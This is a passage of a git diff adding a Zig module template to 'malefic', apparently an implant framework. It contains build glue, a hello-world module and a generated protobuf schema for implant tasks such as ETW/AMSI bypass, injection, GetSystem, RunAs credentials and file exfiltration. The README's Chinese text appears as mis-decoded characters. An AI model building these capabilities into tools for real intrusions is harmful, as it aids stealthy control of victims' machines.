åŒ…è£…ä¸ºé™æ€åº“,确ä¿ç¬¦å·è·¨ crate ä¼ æ’­ + +## ç¼–å†™æ¨¡å— + +Zig 通过 `@cImport` 直接使用 nanopb çš„ C 类型和函数: + +```zig +const std = @import("std"); +const c = @cImport({ + @cDefine("PB_FIELD_32BIT", {}); + @cInclude("pb_encode.h"); + @cInclude("pb_decode.h"); + @cInclude("module.pb.h"); +}); + +const MODULE_NAME: [*:0]const u8 = "your_module"; + +export fn ZigModuleName() callconv(.C) [*:0]const u8 { + return MODULE_NAME; +} + +export fn ZigModuleHandle( + task_id: u32, + req_data: [*]const u8, + req_len: c_int, + resp_data: *[*]u8, + resp_len: *c_int, +) callconv(.C) c_int { + _ = task_id; + + // è§£ç  Request + var request: c.malefic_Request = std.mem.zeroes(c.malefic_Request); + var istream = c.pb_istream_from_buffer(req_data, @intCast(@as(usize, @intCast(req_len)))); + if (!c.pb_decode(&istream, c.malefic_Request_fields, &request)) + return -1; + + // 构造 Response + var response: c.malefic_Response = std.mem.zeroes(c.malefic_Response); + // ... å¡«å…… response.output ... + + // ç¼–ç  Response + var tmp_buf: [4096]u8 = undefined; + var ostream = c.pb_ostream_from_buffer(&tmp_buf, tmp_buf.len); + if (!c.pb_encode(&ostream, c.malefic_Response_fields, &response)) + return -1; + + // malloc 输出 buffer(Rust ä¾§ free) + const encoded_len = ostream.bytes_written; + const out_ptr: ?[*]u8 = @ptrCast(std.c.malloc(encoded_len) orelse return -1); + @memcpy(out_ptr.?[0..encoded_len], tmp_buf[0..encoded_len]); + resp_data.* = out_ptr.?; + resp_len.* = @intCast(encoded_len); + return 0; +} +``` + +### è¦ç‚¹ + +- 使用 `std.mem.zeroes()` é›¶åˆå§‹åŒ– nanopb 结构体 +- 使用 `std.c.malloc` / `std.c.free` 分é…内存(与 C 兼容) +- `@cImport` 自动将 C 类型映射为 Zig 类型,`pb_decode` 返回 `bool` +- `malefic_Request_fields` å·²ç»æ˜¯æŒ‡é’ˆï¼Œä¸éœ€è¦å–åœ°å€ + +### 添加新 zig 文件 + +在 `build.rs` 中修改 zig ç¼–è¯‘å‘½ä»¤çš„æºæ–‡ä»¶è·¯å¾„å³å¯ã€‚ + +## 构建 + +```bash +cargo build --target x86_64-pc-windows-gnu --no-default-features \ + --features "as_cdylib,zig_module" --release +``` diff --git a/malefic-3rd-template/malefic-3rd-zig/build.rs b/malefic-3rd-template/malefic-3rd-zig/build.rs new file mode 100644 index 0000000..a085e20 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/build.rs @@ -0,0 +1,54 @@ +use std::env; +use std::path::PathBuf; +use std::process::Command; + +fn main() { + let manifest_dir = PathBuf::from(env::var("CARGO_MANIFEST_DIR").unwrap()); + let zig_src_dir = manifest_dir.join("src").join("zig"); + let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); + + let nanopb_include = zig_src_dir.join("nanopb"); + let malefic_include = zig_src_dir.join("malefic"); + + // 1. Compile nanopb core + module.pb.c via cc crate + cc::Build::new() + .file(zig_src_dir.join("nanopb").join("pb_encode.c")) + .file(zig_src_dir.join("nanopb").join("pb_decode.c")) + .file(zig_src_dir.join("nanopb").join("pb_common.c")) + .file(zig_src_dir.join("malefic").join("module.pb.c")) + .include(&nanopb_include) + .include(&malefic_include) + .define("PB_FIELD_32BIT", None) + .warnings(false) + .compile("malefic_zig_nanopb"); + + // 2. Compile Zig example module → object file + let zig_source = zig_src_dir.join("example").join("example.zig"); + let zig_obj = out_dir.join("example_zig.obj"); + + let status = Command::new("zig") + .args([ + "build-obj", + "-O", "ReleaseSafe", + "-lc", + "-DPB_FIELD_32BIT", + ]) + .arg(format!("-I{}", nanopb_include.display())) + .arg(format!("-I{}", malefic_include.display())) + .arg(format!("-femit-bin={}", zig_obj.display())) + .arg(zig_source.to_str().unwrap()) + .status() + .expect("Failed to run zig compiler. Is zig installed?"); + + if !status.success() { + panic!("Zig compilation failed"); + } + + // 3. Wrap zig object into a static library via cc crate + // This ensures symbols propagate correctly across crate boundaries. + cc::Build::new() + .object(&zig_obj) + .compile("malefic_zig_example"); + + println!("cargo:rerun-if-changed={}", zig_src_dir.display()); +} diff --git a/malefic-3rd-template/malefic-3rd-zig/src/lib.rs b/malefic-3rd-template/malefic-3rd-zig/src/lib.rs new file mode 100644 index 0000000..2bdccd7 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/lib.rs @@ -0,0 +1,30 @@ +use malefic_3rd_ffi::*; +use std::ffi::{c_char, c_int, c_uint}; + +extern "C" { + fn ZigModuleName() -> *const c_char; + fn ZigModuleHandle( + task_id: c_uint, + req_data: *const c_char, + req_len: c_int, + resp_data: *mut *mut c_char, + resp_len: *mut c_int, + ) -> c_int; +} + +pub struct ZigModule { + name: String, +} + +impl RtModule for ZigModule { + fn name() -> &'static str { "example_zig" } + + fn new() -> Self { + let name = unsafe { ffi_module_name(ZigModuleName, false) }; + Self { name } + } + + fn run(&mut self, id: u32, ch: &RtChannel) -> RtResult { + ffi_handler_loop(id, ch, ZigModuleHandle, "ZigModuleHandle") + } +} diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/example/example.zig b/malefic-3rd-template/malefic-3rd-zig/src/zig/example/example.zig new file mode 100644 index 0000000..f4b7c70 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/example/example.zig @@ -0,0 +1,60 @@ +const std = @import("std"); +const c = @cImport({ + @cDefine("PB_FIELD_32BIT", {}); + @cInclude("pb_encode.h"); + @cInclude("pb_decode.h"); + @cInclude("module.pb.h"); +}); + +const MODULE_NAME: [*:0]const u8 = "example_zig"; + +export fn ZigModuleName() callconv(.C) [*:0]const u8 { + return MODULE_NAME; +} + +export fn ZigModuleHandle( + task_id: u32, + req_data: [*]const u8, + req_len: c_int, + resp_data: *[*]u8, + resp_len: *c_int, +) callconv(.C) c_int { + _ = task_id; + + // Decode Request + var request: c.malefic_Request = std.mem.zeroes(c.malefic_Request); + var istream = c.pb_istream_from_buffer(req_data, @intCast(@as(usize, @intCast(req_len)))); + if (!c.pb_decode(&istream, c.malefic_Request_fields, &request)) { + return -1; + } + + // Build Response + var response: c.malefic_Response = std.mem.zeroes(c.malefic_Response); + + const prefix = "hello from zig module, input: "; + const input_slice = std.mem.sliceTo(&request.input, 0); + const total_len = prefix.len + input_slice.len; + + if (total_len < response.output.len) { + @memcpy(response.output[0..prefix.len], prefix); + @memcpy(response.output[prefix.len .. prefix.len + input_slice.len], input_slice); + response.output[total_len] = 0; + } else { + return -1; + } + + // Encode Response + var tmp_buf: [4096]u8 = undefined; + var ostream = c.pb_ostream_from_buffer(&tmp_buf, tmp_buf.len); + if (!c.pb_encode(&ostream, c.malefic_Response_fields, &response)) { + return -1; + } + + const encoded_len = ostream.bytes_written; + const out_ptr: ?[*]u8 = @ptrCast(std.c.malloc(encoded_len) orelse return -1); + @memcpy(out_ptr.?[0..encoded_len], tmp_buf[0..encoded_len]); + resp_data.* = out_ptr.?; + resp_len.* = @intCast(encoded_len); + + return 0; +} diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.options b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.options new file mode 100644 index 0000000..5334a93 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.options @@ -0,0 +1,229 @@ +# nanopb options for module.proto (full) +# Controls max sizes for static allocation (no malloc needed) +# map<> fields use callbacks by default in nanopb — no options needed for them. + +# --- Core messages used by C module handler --- +malefic.Request.name max_size:256 +malefic.Request.input max_size:256 +malefic.Request.args max_size:256, max_count:32 +malefic.Request.bin max_size:4096 + +malefic.Response.output max_size:4096 +malefic.Response.error max_size:256 +malefic.Response.array max_size:256, max_count:32 + +# --- Registration / System --- +malefic.Register.name max_size:256 +malefic.Register.proxy max_size:256 +malefic.Register.module max_size:256, max_count:64 +malefic.Register.addons max_count:32 + +malefic.Secure.key max_size:256 +malefic.Secure.type max_size:64 +malefic.Secure.public_key max_size:256 + +malefic.KeyExchangeRequest.public_key max_size:256 +malefic.KeyExchangeRequest.signature max_size:256 +malefic.KeyExchangeRequest.nonce max_size:64 +malefic.KeyExchangeResponse.public_key max_size:256 + +malefic.Init.data max_size:4096 + +malefic.SysInfo.filepath max_size:256 +malefic.SysInfo.workdir max_size:256 + +malefic.Os.name max_size:128 +malefic.Os.version max_size:128 +malefic.Os.release max_size:128 +malefic.Os.arch max_size:32 +malefic.Os.username max_size:128 +malefic.Os.hostname max_size:128 +malefic.Os.locale max_size:64 +malefic.Os.clr_version max_size:64, max_count:8 + +malefic.Process.name max_size:128 +malefic.Process.owner max_size:128 +malefic.Process.arch max_size:32 +malefic.Process.path max_size:256 +malefic.Process.args max_size:256 +malefic.Process.uid max_size:64 + +malefic.Timer.expression max_size:128 + +# --- File --- +malefic.FileInfo.Name max_size:256 +malefic.FileInfo.Link max_size:256 + +malefic.LsResponse.Path max_size:256 +malefic.LsResponse.Files max_count:128 + +malefic.DriveInfo.path max_size:64 +malefic.DriveInfo.drive_type max_size:64 +malefic.DriveInfo.file_system max_size:32 +malefic.EnumDriversResponse.drives max_count:16 + +# --- Process --- +malefic.SacrificeProcess.argue max_size:256 +malefic.PsResponse.processes max_count:512 + +# --- Exec --- +malefic.ExecRequest.path max_size:256 +malefic.ExecRequest.args max_size:256, max_count:32 +malefic.ExecResponse.stdout max_size:4096 +malefic.ExecResponse.stderr max_size:4096 + +malefic.BinaryResponse.data max_size:4096 +malefic.BinaryResponse.message max_size:4096 +malefic.BinaryResponse.err max_size:256 + +# --- Modules / Addons --- +malefic.Modules.modules max_size:256, max_count:64 +malefic.Addons.addons max_count:32 +malefic.Addon.name max_size:128 +malefic.Addon.type max_size:64 +malefic.Addon.depend max_size:128 + +malefic.LoadModule.bundle max_size:256 +malefic.LoadModule.bin max_size:4096 +malefic.LoadAddon.name max_size:128 +malefic.LoadAddon.type max_size:64 +malefic.LoadAddon.depend max_size:128 +malefic.LoadAddon.bin max_size:4096 + +malefic.ExecuteAddon.addon max_size:128 + +malefic.ExecuteBinary.name max_size:128 +malefic.ExecuteBinary.bin max_size:4096 +malefic.ExecuteBinary.type max_size:64 +malefic.ExecuteBinary.process_name max_size:128 +malefic.ExecuteBinary.args max_size:256, max_count:32 +malefic.ExecuteBinary.entry_point max_size:128 +malefic.ExecuteBinary.data max_size:4096 +malefic.ExecuteBinary.path max_size:256 +malefic.ExecuteBinary.context max_size:256 + +malefic.ExecuteCommand.command max_size:256 + +# --- Upload / Download --- +malefic.UploadRequest.name max_size:256 +malefic.UploadRequest.target max_size:256 +malefic.UploadRequest.data max_size:4096 + +malefic.DownloadRequest.path max_size:256 +malefic.DownloadRequest.name max_size:256 +malefic.DownloadResponse.checksum max_size:128 +malefic.DownloadResponse.content max_size:4096 + +# --- Network --- +malefic.NetInterface.name max_size:128 +malefic.NetInterface.mac max_size:32 +malefic.NetInterface.ip_addresses max_size:64, max_count:16 +malefic.IfconfigResponse.net_interfaces max_count:32 + +malefic.SockTabEntry.local_addr max_size:64 +malefic.SockTabEntry.remote_addr max_size:64 +malefic.SockTabEntry.skState max_size:32 +malefic.SockTabEntry.pid max_size:16 +malefic.SockTabEntry.protocol max_size:16 +malefic.NetstatResponse.socks max_count:256 + +malefic.CurlRequest.url max_size:512 +malefic.CurlRequest.method max_size:16 +malefic.CurlRequest.body max_size:4096 +malefic.CurlRequest.hostname max_size:256 + +malefic.ChownRequest.path max_size:256 +malefic.ChownRequest.uid max_size:64 +malefic.ChownRequest.gid max_size:64 + +# --- Block / ACK --- +malefic.Block.content max_size:4096 + +# --- Registry --- +malefic.RegistryRequest.type max_size:64 +malefic.Registry.hive max_size:64 +malefic.Registry.path max_size:256 +malefic.Registry.key max_size:256 +malefic.RegistryWriteRequest.hive max_size:64 +malefic.RegistryWriteRequest.path max_size:256 +malefic.RegistryWriteRequest.key max_size:256 +malefic.RegistryWriteRequest.string_value max_size:256 +malefic.RegistryWriteRequest.byte_value max_size:4096 + +# --- Task Schedule --- +malefic.TaskScheduleRequest.type max_size:64 +malefic.TaskSchedule.name max_size:256 +malefic.TaskSchedule.path max_size:256 +malefic.TaskSchedule.executable_path max_size:256 +malefic.TaskSchedule.start_boundary max_size:64 +malefic.TaskSchedule.description max_size:256 +malefic.TaskSchedule.last_run_time max_size:64 +malefic.TaskSchedule.next_run_time max_size:64 +malefic.TaskSchedulesResponse.schedules max_count:64 + +# --- Service --- +malefic.ServiceRequest.type max_size:64 +malefic.ServiceConfig.name max_size:256 +malefic.ServiceConfig.display_name max_size:256 +malefic.ServiceConfig.executable_path max_size:256 +malefic.ServiceConfig.account_name max_size:128 +malefic.ServicesResponse.services max_count:128 + +# --- WMI --- +malefic.WmiQueryRequest.namespace max_size:256 +malefic.WmiQueryRequest.args max_size:256, max_count:16 +malefic.WmiMethodRequest.namespace max_size:256 +malefic.WmiMethodRequest.class_name max_size:128 +malefic.WmiMethodRequest.method_name max_size:128 + +# --- RunAs --- +malefic.RunAsRequest.username max_size:128 +malefic.RunAsRequest.domain max_size:128 +malefic.RunAsRequest.password max_size:256 +malefic.RunAsRequest.program max_size:256 +malefic.RunAsRequest.args max_size:256 + +# --- Inject / GetSystem --- +malefic.GetSystem.bin max_size:4096 +malefic.Inject.bin max_size:4096 + +# --- Pipe --- +malefic.Pipe.name max_size:128 +malefic.Pipe.target max_size:128 +malefic.Pipe.data max_size:4096 +malefic.PipeRequest.type max_size:64 + +# --- Switch --- +malefic.Switch.urls max_size:256, max_count:16 + +# --- Task --- +malefic.TaskCtrl.op max_size:64 +malefic.TaskListResponse.tasks max_count:128 + +# --- FFmpeg --- +malefic.FFmpegRequest.action max_size:64 +malefic.FFmpegRequest.device_name max_size:128 +malefic.FFmpegRequest.output_format max_size:32 +malefic.FFmpegRequest.output_path max_size:256 +malefic.FFmpegRequest.time max_size:32 + +# --- PTY --- +malefic.PtyRequest.type max_size:32 +malefic.PtyRequest.session_id max_size:64 +malefic.PtyRequest.shell max_size:128 +malefic.PtyRequest.input_data max_size:4096 +malefic.PtyRequest.input_text max_size:4096 + +malefic.PtyResponse.session_id max_size:64 +malefic.PtyResponse.output_data max_size:4096 +malefic.PtyResponse.output_text max_size:4096 +malefic.PtyResponse.error max_size:256 +malefic.PtyResponse.active_sessions max_size:64, max_count:32 + +# --- CommonBody --- +malefic.CommonBody.name max_size:256 +malefic.CommonBody.u32_array max_count:32 +malefic.CommonBody.u64_array max_count:32 +malefic.CommonBody.bool_array max_count:32 +malefic.CommonBody.string_array max_size:256, max_count:32 +malefic.CommonBody.bytes_array max_size:4096, max_count:16 diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.c b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.c new file mode 100644 index 0000000..f471045 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.c @@ -0,0 +1,249 @@ +/* Automatically generated nanopb constant definitions */ +/* Generated by nanopb-0.4.9.1 */ + +#include "module.pb.h" +#if PB_PROTO_HEADER_VERSION != 40 +#error Regenerate this file with the current version of nanopb generator. +#endif + + +/* The following messages exceed 64kB in size: malefic_LsResponse, malefic_PsResponse, malefic_TaskSchedulesResponse, malefic_ServicesResponse, malefic_CommonBody */ + +/* The PB_FIELD_32BIT compilation option must be defined to support messages that exceed 64 kB in size. */ +#ifndef PB_FIELD_32BIT +#error Enable PB_FIELD_32BIT to support messages exceeding 64kB in size: malefic_LsResponse, malefic_PsResponse, malefic_TaskSchedulesResponse, malefic_ServicesResponse, malefic_CommonBody +#endif +PB_BIND(malefic_Ping, malefic_Ping, AUTO) + + +PB_BIND(malefic_Register, malefic_Register, 4) + + +PB_BIND(malefic_Secure, malefic_Secure, 2) + + +PB_BIND(malefic_KeyExchangeRequest, malefic_KeyExchangeRequest, 2) + + +PB_BIND(malefic_KeyExchangeResponse, malefic_KeyExchangeResponse, 2) + + +PB_BIND(malefic_Init, malefic_Init, 4) + + +PB_BIND(malefic_SysInfo, malefic_SysInfo, 2) + + +PB_BIND(malefic_Suicide, malefic_Suicide, AUTO) + + +PB_BIND(malefic_Request, malefic_Request, 4) + + +PB_BIND(malefic_Request_ParamsEntry, malefic_Request_ParamsEntry, AUTO) + + +PB_BIND(malefic_Response, malefic_Response, 4) + + +PB_BIND(malefic_Response_KvEntry, malefic_Response_KvEntry, AUTO) + + +PB_BIND(malefic_BypassRequest, malefic_BypassRequest, AUTO) + + +PB_BIND(malefic_NetInterface, malefic_NetInterface, 2) + + +PB_BIND(malefic_SockTabEntry, malefic_SockTabEntry, AUTO) + + +PB_BIND(malefic_NetstatResponse, malefic_NetstatResponse, 4) + + +PB_BIND(malefic_Block, malefic_Block, 4) + + +PB_BIND(malefic_ACK, malefic_ACK, AUTO) + + +PB_BIND(malefic_Os, malefic_Os, 2) + + +PB_BIND(malefic_Process, malefic_Process, 2) + + +PB_BIND(malefic_Timer, malefic_Timer, AUTO) + + +PB_BIND(malefic_FileInfo, malefic_FileInfo, 2) + + +PB_BIND(malefic_SacrificeProcess, malefic_SacrificeProcess, 2) + + +PB_BIND(malefic_LsResponse, malefic_LsResponse, 4) + + +PB_BIND(malefic_DriveInfo, malefic_DriveInfo, AUTO) + + +PB_BIND(malefic_EnumDriversResponse, malefic_EnumDriversResponse, 2) + + +PB_BIND(malefic_PsResponse, malefic_PsResponse, 4) + + +PB_BIND(malefic_ExecRequest, malefic_ExecRequest, 4) + + +PB_BIND(malefic_ExecResponse, malefic_ExecResponse, 4) + + +PB_BIND(malefic_BinaryResponse, malefic_BinaryResponse, 4) + + +PB_BIND(malefic_Modules, malefic_Modules, 4) + + +PB_BIND(malefic_Addons, malefic_Addons, 4) + + +PB_BIND(malefic_Addon, malefic_Addon, 2) + + +PB_BIND(malefic_LoadModule, malefic_LoadModule, 4) + + +PB_BIND(malefic_LoadAddon, malefic_LoadAddon, 4) + + +PB_BIND(malefic_ExecuteAddon, malefic_ExecuteAddon, 4) + + +PB_BIND(malefic_ExecuteBinary, malefic_ExecuteBinary, 4) + + +PB_BIND(malefic_ExecuteBinary_ParamEntry, malefic_ExecuteBinary_ParamEntry, AUTO) + + +PB_BIND(malefic_ExecuteCommand, malefic_ExecuteCommand, 2) + + +PB_BIND(malefic_UploadRequest, malefic_UploadRequest, 4) + + +PB_BIND(malefic_DownloadRequest, malefic_DownloadRequest, 2) + + +PB_BIND(malefic_DownloadResponse, malefic_DownloadResponse, 4) + + +PB_BIND(malefic_CurlRequest, malefic_CurlRequest, 4) + + +PB_BIND(malefic_CurlRequest_HeaderEntry, malefic_CurlRequest_HeaderEntry, AUTO) + + +PB_BIND(malefic_ChownRequest, malefic_ChownRequest, 2) + + +PB_BIND(malefic_IfconfigResponse, malefic_IfconfigResponse, 4) + + +PB_BIND(malefic_RegistryRequest, malefic_RegistryRequest, 2) + + +PB_BIND(malefic_Registry, malefic_Registry, 2) + + +PB_BIND(malefic_RegistryWriteRequest, malefic_RegistryWriteRequest, 4) + + +PB_BIND(malefic_TaskScheduleRequest, malefic_TaskScheduleRequest, 2) + + +PB_BIND(malefic_TaskSchedule, malefic_TaskSchedule, 2) + + +PB_BIND(malefic_TaskSchedulesResponse, malefic_TaskSchedulesResponse, 4) + + +PB_BIND(malefic_ServiceRequest, malefic_ServiceRequest, 2) + + +PB_BIND(malefic_ServiceConfig, malefic_ServiceConfig, 2) + + +PB_BIND(malefic_ServiceStatus, malefic_ServiceStatus, AUTO) + + +PB_BIND(malefic_Service, malefic_Service, 2) + + +PB_BIND(malefic_ServicesResponse, malefic_ServicesResponse, 4) + + +PB_BIND(malefic_WmiQueryRequest, malefic_WmiQueryRequest, 4) + + +PB_BIND(malefic_WmiMethodRequest, malefic_WmiMethodRequest, 2) + + +PB_BIND(malefic_WmiMethodRequest_ParamsEntry, malefic_WmiMethodRequest_ParamsEntry, AUTO) + + +PB_BIND(malefic_RunAsRequest, malefic_RunAsRequest, 2) + + +PB_BIND(malefic_GetSystem, malefic_GetSystem, 4) + + +PB_BIND(malefic_Inject, malefic_Inject, 4) + + +PB_BIND(malefic_Pipe, malefic_Pipe, 4) + + +PB_BIND(malefic_PipeRequest, malefic_PipeRequest, 4) + + +PB_BIND(malefic_Switch, malefic_Switch, 4) + + +PB_BIND(malefic_TaskCtrl, malefic_TaskCtrl, AUTO) + + +PB_BIND(malefic_TaskInfo, malefic_TaskInfo, AUTO) + + +PB_BIND(malefic_TaskListResponse, malefic_TaskListResponse, 2) + + +PB_BIND(malefic_FFmpegRequest, malefic_FFmpegRequest, 2) + + +PB_BIND(malefic_PtyRequest, malefic_PtyRequest, 4) + + +PB_BIND(malefic_PtyRequest_ParamsEntry, malefic_PtyRequest_ParamsEntry, AUTO) + + +PB_BIND(malefic_PtyResponse, malefic_PtyResponse, 4) + + +PB_BIND(malefic_PtyResponse_MetadataEntry, malefic_PtyResponse_MetadataEntry, AUTO) + + +PB_BIND(malefic_CommonBody, malefic_CommonBody, 4) + + + +#ifndef PB_CONVERT_DOUBLE_FLOAT +/* On some platforms (such as AVR), double is really float. + * To be able to encode/decode double on these platforms, you need. + * to define PB_CONVERT_DOUBLE_FLOAT in pb.h or compiler command line. + */ +PB_STATIC_ASSERT(sizeof(double) == 8, DOUBLE_MUST_BE_8_BYTES) +#endif + diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.h b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.h new file mode 100644 index 0000000..ca75d0d --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.h @@ -0,0 +1,1857 @@ +/* Automatically generated nanopb header */ +/* Generated by nanopb-0.4.9.1 */ + +#ifndef PB_MALEFIC_MODULE_PB_H_INCLUDED +#define PB_MALEFIC_MODULE_PB_H_INCLUDED +#include + +#if PB_PROTO_HEADER_VERSION != 40 +#error Regenerate this file with the current version of nanopb generator. +#endif + +/* Struct definitions */ +typedef struct _malefic_Ping { + int32_t nonce; +} malefic_Ping; + +typedef struct _malefic_Secure { + bool enable; + char key[256]; /* encryption key */ + char type[64]; /* encryption type */ + char public_key[256]; /* Implant's public key, used by server to encrypt data */ +} malefic_Secure; + +typedef PB_BYTES_ARRAY_T(256) malefic_KeyExchangeRequest_signature_t; +/* Age key exchange related messages */ +typedef struct _malefic_KeyExchangeRequest { + char public_key[256]; /* Temporary public key (Age X25519) */ + malefic_KeyExchangeRequest_signature_t signature; /* Signature of temporary public key */ + uint64_t timestamp; /* Timestamp */ + char nonce[64]; /* Nonce */ +} malefic_KeyExchangeRequest; + +typedef struct _malefic_KeyExchangeResponse { + char public_key[256]; /* Server temporary public key */ +} malefic_KeyExchangeResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Init_data_t; +typedef struct _malefic_Init { + malefic_Init_data_t data; +} malefic_Init; + +typedef struct _malefic_Suicide { + int32_t type; + int64_t timestamp; +} malefic_Suicide; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Request_bin_t; +/* common empty request */ +typedef struct _malefic_Request { + char name[256]; + char input[256]; + pb_size_t args_count; + char args[32][256]; + pb_callback_t params; + malefic_Request_bin_t bin; +} malefic_Request; + +typedef struct _malefic_Request_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_Request_ParamsEntry; + +typedef struct _malefic_Response { + char output[4096]; + char error[256]; + pb_callback_t kv; + pb_size_t array_count; + char array[32][256]; +} malefic_Response; + +typedef struct _malefic_Response_KvEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_Response_KvEntry; + +typedef struct _malefic_BypassRequest { + bool ETW; + bool AMSI; + bool block_dll; +} malefic_BypassRequest; + +typedef struct _malefic_NetInterface { + int32_t index; + char name[128]; + char mac[32]; + pb_size_t ip_addresses_count; + char ip_addresses[16][64]; +} malefic_NetInterface; + +typedef struct _malefic_SockTabEntry { + char local_addr[64]; + char remote_addr[64]; + char skState[32]; + /* uint32 uid = 4; */ + char pid[16]; + char protocol[16]; +} malefic_SockTabEntry; + +typedef struct _malefic_NetstatResponse { + pb_size_t socks_count; + malefic_SockTabEntry socks[256]; +} malefic_NetstatResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Block_content_t; +typedef struct _malefic_Block { + uint32_t block_id; + malefic_Block_content_t content; + bool end; +} malefic_Block; + +typedef struct _malefic_ACK { + uint32_t id; + bool success; + bool end; +} malefic_ACK; + +typedef struct _malefic_Os { + char name[128]; + char version[128]; /* kernel version */ + char release[128]; /* release version */ + char arch[32]; + char username[128]; + char hostname[128]; + char locale[64]; /* timezone */ + pb_size_t clr_version_count; + char clr_version[8][64]; +} malefic_Os; + +typedef struct _malefic_Process { + char name[128]; + uint32_t pid; + uint32_t ppid; + char owner[128]; + char arch[32]; + char path[256]; + char args[256]; + char uid[64]; +} malefic_Process; + +typedef struct _malefic_SysInfo { + char filepath[256]; + char workdir[256]; + bool is_privilege; + bool has_os; + malefic_Os os; + bool has_process; + malefic_Process process; +} malefic_SysInfo; + +typedef struct _malefic_Timer { + char expression[128]; + double jitter; +} malefic_Timer; + +typedef struct _malefic_FileInfo { + char Name[256]; + bool IsDir; + uint64_t Size; + int64_t ModTime; + uint32_t Mode; + char Link[256]; +} malefic_FileInfo; + +typedef struct _malefic_SacrificeProcess { + bool hidden; + bool block_dll; + bool etw; + uint32_t ppid; + char argue[256]; +} malefic_SacrificeProcess; + +typedef struct _malefic_LsResponse { + char Path[256]; + bool Exists; + pb_size_t Files_count; + malefic_FileInfo Files[128]; +} malefic_LsResponse; + +typedef struct _malefic_DriveInfo { + char path[64]; /* "C:\\" */ + char drive_type[64]; /* "Fixed drive" */ + uint64_t total_size; /* */ + uint64_t free_size; /* */ + char file_system[32]; /* "NTFS" */ +} malefic_DriveInfo; + +typedef struct _malefic_EnumDriversResponse { + pb_size_t drives_count; + malefic_DriveInfo drives[16]; +} malefic_EnumDriversResponse; + +typedef struct _malefic_PsResponse { + pb_size_t processes_count; + malefic_Process processes[512]; +} malefic_PsResponse; + +typedef struct _malefic_ExecRequest { + char path[256]; + pb_size_t args_count; + char args[32][256]; + bool output; + bool singleton; + bool realtime; + uint32_t ppid; +} malefic_ExecRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecResponse_stdout_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecResponse_stderr_t; +typedef struct _malefic_ExecResponse { + int32_t status_code; + malefic_ExecResponse_stdout_t stdout; + malefic_ExecResponse_stderr_t stderr; + uint32_t pid; + bool end; +} malefic_ExecResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_BinaryResponse_data_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_BinaryResponse_message_t; +typedef struct _malefic_BinaryResponse { + malefic_BinaryResponse_data_t data; /* common return, bof BeaconOutput */ + malefic_BinaryResponse_message_t message; /* bof BeaconPrintf */ + int32_t status; + char err[256]; +} malefic_BinaryResponse; + +typedef struct _malefic_Modules { + pb_size_t modules_count; + char modules[64][256]; +} malefic_Modules; + +typedef struct _malefic_Addon { + char name[128]; + char type[64]; + char depend[128]; +} malefic_Addon; + +typedef struct _malefic_Register { + char name[256]; + char proxy[256]; + pb_size_t module_count; + char module[64][256]; + pb_size_t addons_count; + malefic_Addon addons[32]; + bool has_timer; + malefic_Timer timer; + bool has_sysinfo; + malefic_SysInfo sysinfo; + bool has_secure; + malefic_Secure secure; /* Implant's public key, used by server to encrypt data */ +} malefic_Register; + +typedef struct _malefic_Addons { + pb_size_t addons_count; + malefic_Addon addons[32]; +} malefic_Addons; + +typedef PB_BYTES_ARRAY_T(4096) malefic_LoadModule_bin_t; +typedef struct _malefic_LoadModule { + char bundle[256]; + malefic_LoadModule_bin_t bin; +} malefic_LoadModule; + +typedef PB_BYTES_ARRAY_T(4096) malefic_LoadAddon_bin_t; +typedef struct _malefic_LoadAddon { + char name[128]; + char type[64]; + char depend[128]; + malefic_LoadAddon_bin_t bin; +} malefic_LoadAddon; + +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecuteBinary_bin_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecuteBinary_data_t; +typedef struct _malefic_ExecuteBinary { + char name[128]; + malefic_ExecuteBinary_bin_t bin; + pb_callback_t param; + char type[64]; + char process_name[128]; + pb_size_t args_count; + char args[32][256]; + char entry_point[128]; + malefic_ExecuteBinary_data_t data; + bool output; + uint32_t arch; + uint32_t timeout; + bool has_sacrifice; + malefic_SacrificeProcess sacrifice; + char path[256]; + char context[256]; + uint32_t delay; /* millisecond */ +} malefic_ExecuteBinary; + +typedef struct _malefic_ExecuteAddon { + char addon[128]; + bool has_execute_binary; + malefic_ExecuteBinary execute_binary; +} malefic_ExecuteAddon; + +typedef struct _malefic_ExecuteBinary_ParamEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_ExecuteBinary_ParamEntry; + +typedef struct _malefic_ExecuteCommand { + char command[256]; + bool has_sacrifice; + malefic_SacrificeProcess sacrifice; +} malefic_ExecuteCommand; + +typedef PB_BYTES_ARRAY_T(4096) malefic_UploadRequest_data_t; +typedef struct _malefic_UploadRequest { + char name[256]; + char target[256]; + uint32_t priv; + malefic_UploadRequest_data_t data; + bool hidden; + bool override; +} malefic_UploadRequest; + +typedef struct _malefic_DownloadRequest { + char path[256]; + char name[256]; + uint32_t buffer_size; + bool dir; + int32_t cur; +} malefic_DownloadRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_DownloadResponse_content_t; +typedef struct _malefic_DownloadResponse { + char checksum[128]; + uint64_t size; + int32_t cur; + malefic_DownloadResponse_content_t content; +} malefic_DownloadResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_CurlRequest_body_t; 